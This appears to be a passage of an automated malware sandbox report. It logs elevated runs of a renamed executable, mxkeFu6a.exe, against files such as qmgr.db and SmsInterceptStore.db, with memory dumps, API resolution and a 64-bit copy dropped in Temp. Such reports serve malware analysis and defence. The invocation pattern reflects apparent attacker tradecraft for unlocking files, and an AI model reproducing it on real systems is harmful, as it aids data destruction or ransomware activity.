Command Line	mxkeFu6a.exe -accepteula "qmgr.db" -nobanner
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:02:14, Reason: Child Process
Unmonitor	End Time: 00:02:23, Reason: Self Terminated
Monitor Duration	00:00:08

OS Process Information

»

Information	Value
PID	0x136c
Parent PID	0x1314 (c:\windows\syswow64\cmd.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x 1370 0x 1374

Memory Dumps

»

Name	Start VA	End VA	Dump Reason	PE Rebuilds	Bitness	Entry Points	Actions
mxkefu6a.exe	0x00400000	0x00476FFF	Marked Writable	-	32-bit	-	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x0040F93F, 0x00407336	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x004080C0	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x0040AE73	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x0040579A	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x0040B435	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x00409AC9	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x0040608C	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x0040DEC6	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x00410AB1	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x00412434	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x00416A09, 0x00415F2F, ...	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x004048D4	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x0040C3C0, 0x004112CE	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x004020F0	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Process Termination	-	32-bit	-	... Region Actions Download Dump

Threads

Thread 0x1370

177

0

»

Category	Operation	Information	Count	Logfile
Module	Load	module_name = KERNEL32.DLL, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetEvent, address_out = 0x75efec50	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = WaitForSingleObject, address_out = 0x75efeca0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = DeviceIoControl, address_out = 0x75ea1170	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = DuplicateHandle, address_out = 0x75efeac0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FormatMessageW, address_out = 0x75ea4be0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CreateEventW, address_out = 0x75efeb30	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CreateProcessW, address_out = 0x75ea4610	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = ExpandEnvironmentStringsW, address_out = 0x75ea4a40	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetDriveTypeW, address_out = 0x75efeed0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetSystemDirectoryW, address_out = 0x75ea5490	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = DeleteFileW, address_out = 0x75efed40	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetThreadErrorMode, address_out = 0x75ea6520	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = HeapSize, address_out = 0x77c0a790	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = LCMapStringW, address_out = 0x75ea5a60	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetStringTypeW, address_out = 0x75ea53b0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = TerminateThread, address_out = 0x75ea6800	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = OpenProcess, address_out = 0x75ea5cc0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetVersion, address_out = 0x75ea56c0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CreateFileW, address_out = 0x75efed10	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FindResourceW, address_out = 0x75ea4aa0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SizeofResource, address_out = 0x75ea6740	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CloseHandle, address_out = 0x75efeab0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetLastError, address_out = 0x75ea4f00	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = LoadResource, address_out = 0x75ea5b00	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetLastError, address_out = 0x75ea5010	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetCurrentProcess, address_out = 0x75efea10	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = LockResource, address_out = 0x75ea5bc0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetCommandLineW, address_out = 0x75ea4cc0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetModuleHandleW, address_out = 0x75ea50d0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = LoadLibraryW, address_out = 0x75ea5ae0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetStdHandle, address_out = 0x75ea5330	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = LocalFree, address_out = 0x75ea5b40	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = LocalAlloc, address_out = 0x75ea5b20	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetProcAddress, address_out = 0x75ea51b0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetModuleFileNameW, address_out = 0x75ea5090	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetConsoleScreenBufferInfo, address_out = 0x75eff5a0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetFileType, address_out = 0x75efef60	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = OutputDebugStringW, address_out = 0x75ea5d10	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = ReadConsoleW, address_out = 0x75eff4c0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = WriteConsoleW, address_out = 0x75eff500	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetFilePointerEx, address_out = 0x75eff130	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = EnterCriticalSection, address_out = 0x77bfb2d0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = LeaveCriticalSection, address_out = 0x77bfb250	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetStdHandle, address_out = 0x75ea6620	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = HeapAlloc, address_out = 0x77bf2dc0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = EncodePointer, address_out = 0x77c129e0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = DecodePointer, address_out = 0x77c11ec0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = ExitProcess, address_out = 0x75ea3cb0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetModuleHandleExW, address_out = 0x75ea5110	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = MultiByteToWideChar, address_out = 0x75ea5c40	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = WideCharToMultiByte, address_out = 0x75ea6b10	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = HeapFree, address_out = 0x75ea57f0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetConsoleMode, address_out = 0x75eff450	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = ReadConsoleInputA, address_out = 0x75eff4a0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetConsoleMode, address_out = 0x75eff4e0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CreateThread, address_out = 0x75ea46b0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetCurrentThreadId, address_out = 0x75ea8820	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = ExitThread, address_out = 0x77c16390	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = LoadLibraryExW, address_out = 0x75ea5ac0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = DeleteCriticalSection, address_out = 0x77bdfb90	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FlushFileBuffers, address_out = 0x75efee70	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = WriteFile, address_out = 0x75eff180	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetConsoleCP, address_out = 0x75eff440	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = IsDebuggerPresent, address_out = 0x75ea5930	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = IsProcessorFeaturePresent, address_out = 0x75ea5960	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = ReadFile, address_out = 0x75eff090	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetStartupInfoW, address_out = 0x75ea5320	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = UnhandledExceptionFilter, address_out = 0x75ea68d0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetUnhandledExceptionFilter, address_out = 0x75ea6720	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = InitializeCriticalSectionAndSpinCount, address_out = 0x75efebb0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = Sleep, address_out = 0x75ea6760	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = TerminateProcess, address_out = 0x75ea67e0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = TlsAlloc, address_out = 0x75ea6820	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = TlsGetValue, address_out = 0x75ea6850	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = TlsSetValue, address_out = 0x75ea6870	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = TlsFree, address_out = 0x75ea6830	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = IsValidCodePage, address_out = 0x75ea59c0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetACP, address_out = 0x75ea4ca0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetOEMCP, address_out = 0x75ea5160	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetCPInfo, address_out = 0x75ea4d10	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetProcessHeap, address_out = 0x75ea51f0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = RtlUnwind, address_out = 0x75ea7c10	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = QueryPerformanceCounter, address_out = 0x75ea5da0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetCurrentProcessId, address_out = 0x75efea20	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetSystemTimeAsFileTime, address_out = 0x75ea5530	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetEnvironmentStringsW, address_out = 0x75ea4eb0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FreeEnvironmentStringsW, address_out = 0x75ea4c20	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = HeapReAlloc, address_out = 0x77bef630	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetEndOfFile, address_out = 0x75eff0e0	1	Fn
Module	Load	module_name = ADVAPI32.dll, base_address = 0x761b0000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = GetTokenInformation, address_out = 0x761cee90	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = RegDeleteKeyW, address_out = 0x761cf910	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = LookupPrivilegeValueW, address_out = 0x761c8c80	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = AdjustTokenPrivileges, address_out = 0x761cffa0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = OpenProcessToken, address_out = 0x761cefb0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = RegSetValueExW, address_out = 0x761cf530	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = RegQueryValueExW, address_out = 0x761ce5a0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = RegOpenKeyExW, address_out = 0x761ce580	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = RegOpenKeyW, address_out = 0x761cf460	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = RegCreateKeyW, address_out = 0x761cf9b0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = RegCloseKey, address_out = 0x761ced60	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = LookupAccountSidW, address_out = 0x761cf100	1	Fn
Module	Load	module_name = COMDLG32.dll, base_address = 0x750d0000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\comdlg32.dll, function = PrintDlgW, address_out = 0x75106b00	1	Fn
Module	Load	module_name = GDI32.dll, base_address = 0x75b70000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\gdi32.dll, function = StartPage, address_out = 0x75b747e0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\gdi32.dll, function = EndDoc, address_out = 0x75b74f70	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\gdi32.dll, function = StartDocW, address_out = 0x75b74ef0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\gdi32.dll, function = SetMapMode, address_out = 0x75b73c10	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\gdi32.dll, function = GetDeviceCaps, address_out = 0x74600060	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\gdi32.dll, function = EndPage, address_out = 0x75b74810	1	Fn
Module	Load	module_name = USER32.dll, base_address = 0x74b70000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\user32.dll, function = SendMessageW, address_out = 0x74b807d0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\user32.dll, function = DialogBoxIndirectParamW, address_out = 0x74b8e6a0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\user32.dll, function = EndDialog, address_out = 0x74b79080	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\user32.dll, function = LoadCursorW, address_out = 0x74b9ab40	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\user32.dll, function = InflateRect, address_out = 0x74b83570	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\user32.dll, function = GetSysColorBrush, address_out = 0x74ba09b0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\user32.dll, function = SetCursor, address_out = 0x74ba2bec	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\user32.dll, function = SetWindowTextW, address_out = 0x74b7d0c0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\user32.dll, function = GetDlgItem, address_out = 0x74b793b0	1	Fn
Module	Load	module_name = VERSION.dll, base_address = 0x744a0000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\version.dll, function = GetFileVersionInfoW, address_out = 0x744a1590	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\version.dll, function = VerQueryValueW, address_out = 0x744a1510	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\version.dll, function = GetFileVersionInfoSizeW, address_out = 0x744a1570	1	Fn
System	Get Time	type = System Time, time = 1627-02-22 14:10:10 (UTC)	1	Fn
System	Get Time	type = Performance Ctr, time = 20043766280	1	Fn
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FlsAlloc, address_out = 0x75ea4ae0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FlsFree, address_out = 0x75ea4b00	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FlsGetValue, address_out = 0x75ea4b20	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FlsSetValue, address_out = 0x75ea4b40	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = InitializeCriticalSectionEx, address_out = 0x75efebc0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CreateEventExW, address_out = 0x75efeb20	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CreateSemaphoreExW, address_out = 0x75efeb80	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetThreadStackGuarantee, address_out = 0x75ea6700	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CreateThreadpoolTimer, address_out = 0x75ea6d30	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetThreadpoolTimer, address_out = 0x77bfd7c0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = WaitForThreadpoolTimerCallbacks, address_out = 0x77bfb840	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CloseThreadpoolTimer, address_out = 0x77bfb740	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CreateThreadpoolWait, address_out = 0x75ea6d70	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetThreadpoolWait, address_out = 0x77bfc0b0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CloseThreadpoolWait, address_out = 0x77bfbe10	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FlushProcessWriteBuffers, address_out = 0x77c22b20	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FreeLibraryWhenCallbackReturns, address_out = 0x77c18e50	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetCurrentProcessorNumber, address_out = 0x77c152f0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetLogicalProcessorInformation, address_out = 0x75ea71b0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CreateSymbolicLinkW, address_out = 0x75ea4510	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetDefaultDllDirectories, address_out = 0x7500d900	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = EnumSystemLocalesEx, address_out = 0x75ea49a0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CompareStringEx, address_out = 0x75ea7050	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetDateFormatEx, address_out = 0x75ea7760	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetLocaleInfoEx, address_out = 0x75ea7190	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetTimeFormatEx, address_out = 0x75ea7780	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetUserDefaultLocaleName, address_out = 0x75ea72c0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = IsValidLocaleName, address_out = 0x75ea7440	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = LCMapStringEx, address_out = 0x75ea7480	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetCurrentPackageId, address_out = 0x74f9e260	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetTickCount64, address_out = 0x75ea0db0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetFileInformationByHandleExW, address_out = 0x0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetFileInformationByHandleW, address_out = 0x0	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
File	Get Info	filename = STD_INPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_ERROR_HANDLE	1	Fn
File	Get Info	filename = STD_ERROR_HANDLE, type = file_type	1	Fn
Environment	Get Environment String	-	1	Fn Data
Module	Get Filename	process_name = c:\users\fd1hvy\desktop\mxkefu6a.exe, file_name_orig = C:\Users\FD1HVy\Desktop\mxkeFu6a.exe, size = 260	1	Fn
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = IsWow64Process, address_out = 0x75ea5a20	1	Fn
Module	Get Filename	process_name = c:\users\fd1hvy\desktop\mxkefu6a.exe, file_name_orig = C:\Users\FD1HVy\Desktop\mxkeFu6a.exe, size = 260	1	Fn
File	Create	filename = C:\Users\FD1HVy\AppData\Local\Temp\mxkeFu6a64.exe, desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 73	1	Fn Data
Module	Get Handle	module_name = mscoree.dll	1	Fn

Process #28: mxkefu6a.exe

181

0

»

Information	Value
ID	#28
File Name	c:\users\fd1hvy\desktop\mxkefu6a.exe
Command Line	mxkeFu6a.exe -accepteula "SmsInterceptStore.db" -nobanner
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:02:15, Reason: Child Process
Unmonitor	End Time: 00:02:55, Reason: Self Terminated
Monitor Duration	00:00:40

OS Process Information

»

Information	Value
PID	0x1378
Parent PID	0x1344 (c:\windows\syswow64\cmd.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x 137C 0x 1380

Memory Dumps

»

Name	Start VA	End VA	Dump Reason	PE Rebuilds	Bitness	Entry Points	Actions
mxkefu6a.exe	0x00400000	0x00476FFF	Marked Writable	-	32-bit	-	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x0040F93F, 0x00407336	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x004080C0	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x0040AE73	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x0040579A	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x0040B435	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x00409AC9	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x00406078	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x0040DEC6	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x00410AB1	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x00412434	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x00416A09, 0x00415F2F, ...	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x004048D4	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x0040C3C0, 0x004112CE	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x004020F0	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Process Termination	-	32-bit	-	... Region Actions Download Dump

Threads

Thread 0x137c

181

0

»

Category	Operation	Information	Count	Logfile
Module	Load	module_name = KERNEL32.DLL, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetEvent, address_out = 0x75efec50	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = WaitForSingleObject, address_out = 0x75efeca0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = DeviceIoControl, address_out = 0x75ea1170	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = DuplicateHandle, address_out = 0x75efeac0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FormatMessageW, address_out = 0x75ea4be0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CreateEventW, address_out = 0x75efeb30	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CreateProcessW, address_out = 0x75ea4610	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = ExpandEnvironmentStringsW, address_out = 0x75ea4a40	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetDriveTypeW, address_out = 0x75efeed0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetSystemDirectoryW, address_out = 0x75ea5490	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = DeleteFileW, address_out = 0x75efed40	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetThreadErrorMode, address_out = 0x75ea6520	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = HeapSize, address_out = 0x77c0a790	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = LCMapStringW, address_out = 0x75ea5a60	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetStringTypeW, address_out = 0x75ea53b0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = TerminateThread, address_out = 0x75ea6800	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = OpenProcess, address_out = 0x75ea5cc0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetVersion, address_out = 0x75ea56c0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CreateFileW, address_out = 0x75efed10	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FindResourceW, address_out = 0x75ea4aa0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SizeofResource, address_out = 0x75ea6740	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CloseHandle, address_out = 0x75efeab0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetLastError, address_out = 0x75ea4f00	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = LoadResource, address_out = 0x75ea5b00	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetLastError, address_out = 0x75ea5010	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetCurrentProcess, address_out = 0x75efea10	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = LockResource, address_out = 0x75ea5bc0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetCommandLineW, address_out = 0x75ea4cc0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetModuleHandleW, address_out = 0x75ea50d0	1	Fn
